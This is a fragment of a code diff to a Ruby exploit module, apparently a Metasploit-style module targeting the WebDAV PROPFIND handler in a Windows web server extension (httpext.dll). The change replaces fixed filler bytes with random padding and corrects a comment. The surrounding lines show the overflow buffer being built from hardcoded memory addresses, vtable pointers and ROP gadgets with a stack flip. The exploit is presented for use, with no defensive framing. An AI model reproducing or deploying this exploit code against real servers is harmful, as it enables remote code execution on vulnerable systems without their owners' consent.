@@ -157,6 +157,11 @@ def utf_encode_str(str)
157
157
return str . force_encoding ( 'UTF-16LE' ) . encode ( 'UTF-8' )
158
158
end
159
159
160
+ #filler chars to be encoded
161
+ def make_junk ( len )
162
+ return utf_encode_str ( rand_text_alpha ( len ) )
163
+ end
164
+
160
165
def exploit
161
166
# extract the local servername and port from a PROPFIND request
162
167
# these need to be the values from the backend server
@@ -189,28 +194,28 @@ def exploit
189
194
begin
190
195
buf1 = "<#{ http_host } /"
191
196
buf1 << rand_text_alpha ( 114 - path_len )
192
- buf1 << utf_encode_str ( junk * 16 )
197
+ buf1 << make_junk ( 32 )
193
198
#survive SHR instruction 0x02020202
194
199
buf1 << utf_encode_str ( [ 0x02020202 ] . pack ( 'V' ) )
195
200
#str pointer to .data httpext.dll # ebp-328 # used in wcslen calculation
196
201
buf1 << utf_encode_str ( [ 0x680312c0 ] . pack ( 'V' ) )
197
- buf1 << utf_encode_str ( junk * 20 )
202
+ buf1 << make_junk ( 40 )
198
203
#0x680313c0 -> destination pointer used with memcpy
199
204
buf1 << utf_encode_str ( [ 0x680313c0 ] . pack ( 'V' ) )
200
205
buf1 << ">"
201
206
buf1 << " (Not <locktoken:write1>) <#{ http_host } /"
202
207
buf1 << rand_text_alpha ( 114 - path_len )
203
- buf1 << utf_encode_str ( junk * 14 )
208
+ buf1 << make_junk ( 28 )
204
209
#0x680313c0 -> pointer to call itself at same address for vtable call
205
210
buf1 << utf_encode_str ( [ 0x680313c0 ] . pack ( 'V' ) )
206
211
#ROP 2 gadget -> advance ESP past previous instructions to start of ROP chain
207
212
#msvct.dll 0x77bdf38d # ADD ESP,1C # POP ECX # POP EBX # POP EAX # RETN
208
213
buf1 << utf_encode_str ( [ 0x77bdf38d ] . pack ( 'V' ) )
209
- buf1 << utf_encode_str ( junk * 4 )
210
- #0x680313c0 -> vtable pointer passed to EAX for [ call eax +24]
214
+ buf1 << make_junk ( 8 )
215
+ #0x680313c0 -> vtable pointer passed to EAX for call [ eax +24]
211
216
#point to itself at [eax]
212
217
buf1 << utf_encode_str ( [ 0x680313c0 ] . pack ( 'V' ) )
213
- buf1 << utf_encode_str ( junk * 8 )
218
+ buf1 << make_junk ( 16 )
214
219
#ROP 1 gadget -> 0x68016082 stack flip get ECX into ESP and push EAX
215
220
#which also points to new ESP
216
221
buf1 << utf_encode_str ( [ 0x68016082 ] . pack ( 'V' ) )
0 commit comments